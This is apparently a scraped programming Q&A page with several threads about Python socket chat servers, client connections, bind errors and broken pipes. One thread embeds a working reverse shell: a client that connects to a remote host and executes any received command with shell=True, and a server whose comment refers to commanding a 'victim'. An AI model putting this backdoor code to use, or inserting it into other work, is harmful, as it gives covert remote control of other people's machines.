I want to connect computers what is not in my lan. I want to connect real ip.
My server Code
import json
import os
import select
import socket
import sys
import urllib
import urllib.request
from optparse import OptionParser
ip = json.loads(urllib.request.urlopen('http://httpbin.org/ip').read().decode("utf-8"))['origin']
print(ip)
def isAlive(ip):
ret = os.system("ping -o -c 3 -W 3000 " + ip)
if ret != 0:
return True
return False
HOST = socket.gethostname()
SOCKET_LIST = []
RECV_BUFFER = 1024
PORT = 1993
def chat_server():
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((HOST, PORT))
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.listen(10)
# add server socket object to the list of readable connections
SOCKET_LIST.append(server_socket)
print("Chat server started on port " + str(PORT), "on Host " + str(HOST))
print(SOCKET_LIST)
while True:
ready_to_read, ready_to_write, in_error = select.select(SOCKET_LIST, [], [], 0)
for sock in ready_to_read:
if sock == server_socket:
sockfd, addr = server_socket.accept()
SOCKET_LIST.append(sockfd)
print("Client (%s, %s) connected" % addr)
broadcast(server_socket, sockfd, "[%s:%s] entered our chatting room\n" % addr)
else:
try:
data = sock.recv(RECV_BUFFER)
recvString = data.decode("utf-8")
print(recvString)
if data:
broadcast(server_socket, sock, "\r" + '[' + str(sock.getpeername()) + '] ' + data)
else:
if sock in SOCKET_LIST:
SOCKET_LIST.remove(sock)
broadcast(server_socket, sock, "Client (%s, %s) is offline\n" % addr)
except:
broadcast(server_socket, sock, "Client (%s, %s) is offline\n" % addr)
continue
server_socket.close()
def broadcast(server_socket, sock, message):
for socket in SOCKET_LIST:
if socket != server_socket and socket != sock:
try:
socket.send(message)
except:
socket.close()
if socket in SOCKET_LIST:
SOCKET_LIST.remove(socket)
if __name__ == "__main__":
sys.exit(chat_server())
Connection Code
import socket
print(socket.getaddrinfo("localhost", 80, 0, 0, socket.SOL_TCP))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Socket successfully created")
print(socket.gethostbyname(socket.gethostname()))
except socket.error as err:
print("socket creation failed with error %s" % (err))
port = 1993
host_ip = '193.140.109.2'
s.connect((host_ip, port))
while True:
getGet = input("Send Data: ")
s.sendall(bytearray(getGet, 'utf8'))
if getGet == '-':
s.close()
I wrote this code but I cannot connect my pc. I have some questions.
1- Is sockets only for lan connection ?
2- How can i connect diffrent computer ?
s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM, 0)
port = 1993
host_ip = 'fe80::d862:a887:2f4c:53d0%12'
Solved my problem.
Related
I'm trying to create a client-server file transfer using python socket but i cant make it work
For example I used this from a tutorial:
Server:
import socket, os, sys
def Main():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect(('10.255.255.255', 1))
IP = s.getsockname()[0]
except:
IP = '127.0.0.1'
finally:
s.close()
print(IP)
host = IP
port = 50001
s = socket.socket()
s.bind((host,port))
print("server Started")
s.listen(1)
while True:
c, addr = s.accept()
print("Connection from: " + str(addr))
filename = ''
while True:
data = c.recv(1024).decode('utf-8')
if not data:
break
filename += data
print("from connected user: " + filename)
c.close()
if __name__ == '__main__':
Main()
Client:
host = '192.168.1.90'
port = 50001
s = socket.socket()
s.connect((host, port))
Filename = 'prova3.txt'
s.send(Filename.encode('utf-8'))
s.shutdown(socket.SHUT_WR)
data = s.recv(1024).decode('utf-8')
print(data)
s.close()
host = '192.168.1.90'
port = 50001
s = socket.socket()
s.connect((host, port))
Filename = 'prova3.txt'
s.send('prova3.txt')
s.shutdown(socket.SHUT_WR)
data = s.recv(1024).decode('utf-8')
print(data)
s.close()
Now this client and server connect to each other but don't send file, what's wrong?
I am using the code below to connect to other system after making a socket.
When I run locally on my system it works fine, but on other system its giving an error for ConnectionRefusedError: [WinError 10061], Python.
I tried to add s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) instead of s = socket.socket():
but it's giving me the same error.
This what I am using for client
import socket
import os
import subprocess
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s = socket.socket()
host = '***.***.***.***'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte,"utf-8")
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str + currentWD))
print(output_str)
This what I am using for server:
import socket
import sys
# Create a Socket ( connect two computers)
def create_socket():
try:
global host
global port
global s
host = ""
port = 9999
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s = socket.socket()
except socket.error as msg:
print("Socket creation error: " + str(msg))
# Binding the socket and listening for connections
def bind_socket():
try:
global host
global port
global s
print("Binding the Port: " + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print("Socket Binding error" + str(msg) + "\n" + "Retrying...")
bind_socket()
# Establish connection with a client (socket must be listening)
def socket_accept():
conn, address = s.accept()
print("Connection has been established! |" + " IP " + address[0] + " | Port " + str(address[1]))
send_commands(conn)
conn.close()
# Send commands to client/victim or a friend
def send_commands(conn):
while True:
cmd = input()
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024),"utf-8")
print(client_response, end="")
def main():
create_socket()
bind_socket()
socket_accept()
main()
I have an issue in this Python code. Please help me. Thank you
import sys
import socket
import select
HOST = 'sys.ase.ro'
SOCKET_LIST = []
RECV_BUFFER = 4096
PORT = 6508
def chat_server():
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((HOST, PORT))
server_socket.listen(10)
SOCKET_LIST.append(server_socket)
print "Chat server started on port " + str(PORT)
while 1:
ready_to_read, ready_to_write, in_error = select.select(SOCKET_LIST, [], [], 0)
for sock in ready_to_read:
if sock == server_socket:
sockfd, addr = server_socket.accept()
SOCKET_LIST.append(sockfd)
print "Client (%s, %s) connected" % addr
broadcast(server_socket, sockfd, "[%s:%s] entered our chatting room\n" % addr)
else:
try:
data = sock.recv(RECV_BUFFER)
if data:
broadcast(server_socket, sock, "\r" + '[' + str(sock.getpeername()) + '] ' + data)
else:
if sock in SOCKET_LIST:
SOCKET_LIST.remove(sock)
broadcast(server_socket, sock, "Client (%s, %s) is offline\n" % addr)
except:
broadcast(server_socket, sock, "Client (%s, %s) is offline\n" % addr)
continue
server_socket.close()
# broadcast chat messages to all connected clients
def broadcast(server_socket, sock, message):
for socket in SOCKET_LIST:
if socket != server_socket and socket != sock:
try:
socket.send(message)
except:
socket.close()
if socket in SOCKET_LIST:
SOCKET_LIST.remove(socket)
if __name__ == "__main__":
sys.exit()
The error looks like:
Traceback (most recent call last): File
"C:/Users/Admin/PycharmProjects/untitled/chat_server.py", line 90, in
<module>
sys.exit(chat_server()) File "C:/Users/Admin/PycharmProjects/untitled/chat_server.py", line 20, in
chat_server
server_socket.bind((HOST,PORT)) File "C:\Python27\Lib\socket.py", line 222, in meth
return getattr(self._sock,name)(*args) socket.error: [Errno 10049] The requested address is not valid in its context
You are trying to bind a socket to remote address.
From windows documentation:
The bind function associates a local address with a socket.
use connect instead:
server_socket.connect((HOST, PORT))
I find out why it dosen't work
The reason for why my code fails tho is because i'm trying to bind to an external hostname.
My machine is not aware of this hostname hence the error message. I change it in localhost and it works.
So I found this chat program on http://www.bogotobogo.com/python/python_network_programming_tcp_server_client_chat_server_chat_client_select.php
And I want to use this at my school for me and my friends, put I don't want to chat to be ex: [192.168.1.3] "Message". I want to be able to add another argument so it shows there name they input instead of Ip. It would be a little hard to have everyone using ips. Any suggestions?
Server Code:
# chat_server.py
import sys
import socket
import select
HOST = ''
SOCKET_LIST = []
RECV_BUFFER = 4096
PORT = 9009
def chat_server():
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((HOST, PORT))
server_socket.listen(10)
# add server socket object to the list of readable connections
SOCKET_LIST.append(server_socket)
print "Chat server started on port " + str(PORT)
while 1:
# get the list sockets which are ready to be read through select
# 4th arg, time_out = 0 : poll and never block
ready_to_read,ready_to_write,in_error = select.select(SOCKET_LIST,[],[],0)
for sock in ready_to_read:
# a new connection request recieved
if sock == server_socket:
sockfd, addr = server_socket.accept()
SOCKET_LIST.append(sockfd)
print "Client (%s, %s) connected" % addr
broadcast(server_socket, sockfd, "[%s:%s] entered our chatting room\n" % addr)
# a message from a client, not a new connection
else:
# process data recieved from client,
try:
# receiving data from the socket.
data = sock.recv(RECV_BUFFER)
if data:
# there is something in the socket
broadcast(server_socket, sock, "\r" + '[' + str(sock.getpeername()) + '] ' + data)
else:
# remove the socket that's broken
if sock in SOCKET_LIST:
SOCKET_LIST.remove(sock)
# at this stage, no data means probably the connection has been broken
broadcast(server_socket, sock, "Client (%s, %s) is offline\n" % addr)
# exception
except:
broadcast(server_socket, sock, "Client (%s, %s) is offline\n" % addr)
continue
server_socket.close()
# broadcast chat messages to all connected clients
def broadcast (server_socket, sock, message):
for socket in SOCKET_LIST:
# send the message only to peer
if socket != server_socket and socket != sock :
try :
socket.send(message)
except :
# broken socket connection
socket.close()
# broken socket, remove it
if socket in SOCKET_LIST:
SOCKET_LIST.remove(socket)
if __name__ == "__main__":
sys.exit(chat_server())
Client Code:
# chat_client.py
import sys
import socket
import select
def chat_client():
if(len(sys.argv) < 3) :
print 'Usage : python chat_client.py hostname port'
sys.exit()
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
# connect to remote host
try :
s.connect((host, port))
except :
print 'Unable to connect'
sys.exit()
print 'Connected to remote host. You can start sending messages'
sys.stdout.write('[Me] '); sys.stdout.flush()
while 1:
socket_list = [sys.stdin, s]
# Get the list sockets which are readable
ready_to_read,ready_to_write,in_error = select.select(socket_list , [], [])
for sock in ready_to_read:
if sock == s:
# incoming message from remote server, s
data = sock.recv(4096)
if not data :
print '\nDisconnected from chat server'
sys.exit()
else :
#print data
sys.stdout.write(data)
sys.stdout.write('[Me] '); sys.stdout.flush()
else :
# user entered a message
msg = sys.stdin.readline()
s.send(msg)
sys.stdout.write('[Me] '); sys.stdout.flush()
if __name__ == "__main__":
sys.exit(chat_client())
Hi i write simple chat program for peer to peer chat between server and client.
This code is working for Client side and client can send message and server recives that messages. but for server side when i want to send a message i have error in line 40
File "server.py", line 40, in <module>
newSocket.send('\r<Server>: ' + msg)
socket.error: [Errno 32] Broken pipe
and server crashes.
Server :
import socket
import os
import select
import sys
def prompt():
sys.stdout.write('Server : ')
sys.stdout.flush()
try:
newSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
newSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
except:
print 'socket Error'
sys.exit(1)
newSocket.bind(('127.0.0.1', 8000))
newSocket.listen(5)
input_list = [newSocket, sys.stdin]
print 'Chat Program'
prompt()
while True:
inputready, outputready, exceptready = select.select(input_list,[],[])
for sock in inputready:
if sock == newSocket:
(client, (ip, port)) = newSocket.accept()
input_list.append(client)
data = client.recv(2048)
if data:
sys.stdout.write(data)
elif sock == sys.stdin:
msg = sys.stdin.readline()
newSocket.send('\r<Server>: ' + msg)
prompt()
else:
data = sock.recv(2048)
if data:
sys.stdout.write(data)
newSocket.close()
client :
import socket
import os
import select
import sys
def prompt():
sys.stdout.write('Client ')
sys.stdout.flush()
try:
newSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
newSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
except:
print 'socket Error'
sys.exit(1)
newSocket.connect(('127.0.0.1', 8000))
print 'Connected to remote host. Start sending messages'
prompt()
while 1:
socket_list = [sys.stdin, newSocket]
read_sockets, write_sockets, error_sockets = select.select(socket_list, [], [])
for sock in read_sockets:
if sock == newSocket:
data = sock.recv(4096)
if not data:
print '\nDisconnected from chat server'
sys.exit()
else:
sys.stdout.write(data)
prompt()
else:
msg = sys.stdin.readline()
newSocket.send('\r<Client>: ' + msg)
prompt()
You should use accept(). It seems newSocket is not ready to output when you try to .send() with it.
I change Server code to this and problem has been solved:
import socket
import select
import sys
CONNECTION_LIST = []
RECV_BUFFER = 4096
PORT = 1245
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind(('0.0.0.0', PORT))
server_socket.listen(5)
CONNECTION_LIST.append(server_socket)
CONNECTION_LIST.append(sys.stdin)
print 'Chat server Started on port ' + str(PORT)
def broadcast_data(sock, message):
for socket in CONNECTION_LIST:
if socket != server_socket and socket != sock and socket != sys.stdin:
try:
socket.send(message)
except:
socket.close()
CONNECTION_LIST.remove(socket)
def prompt() :
sys.stdout.write('<You> ')
sys.stdout.flush()
prompt()
while True:
read_sockets, write_sockets, error_sockets = select.select(CONNECTION_LIST, [], []) # NON_blocking I/O with 0
for sock in read_sockets:
if sock == server_socket:
# new Connection
sockfd, addr = server_socket.accept()
CONNECTION_LIST.append(sockfd)
print 'Clinet (%s, %s) connected ' % addr
broadcast_data(sockfd, "[%s:%s] entered room" % addr)
elif sock == sys.stdin:
msg = sys.stdin.readline()
broadcast_data(sock, 'Server > ' + msg)
prompt()
else:
try:
#In Windows, sometimes when a TCP program closes abruptly,
# a "Connection reset by peer" exception will be thrown
data = sock.recv(RECV_BUFFER)
if data:
print "\r" + '<' + str(sock.getpeername()) + '>' + data
broadcast_data(sock, "\r" + '<' + str(sock.getpeername()) + '>' + data)
except:
broadcast_data(sock, "Client (%s, %s) is offline" % addr)
print "Client (%s, %s) is offline" % addr
sock.close()
CONNECTION_LIST.remove(sock)
continue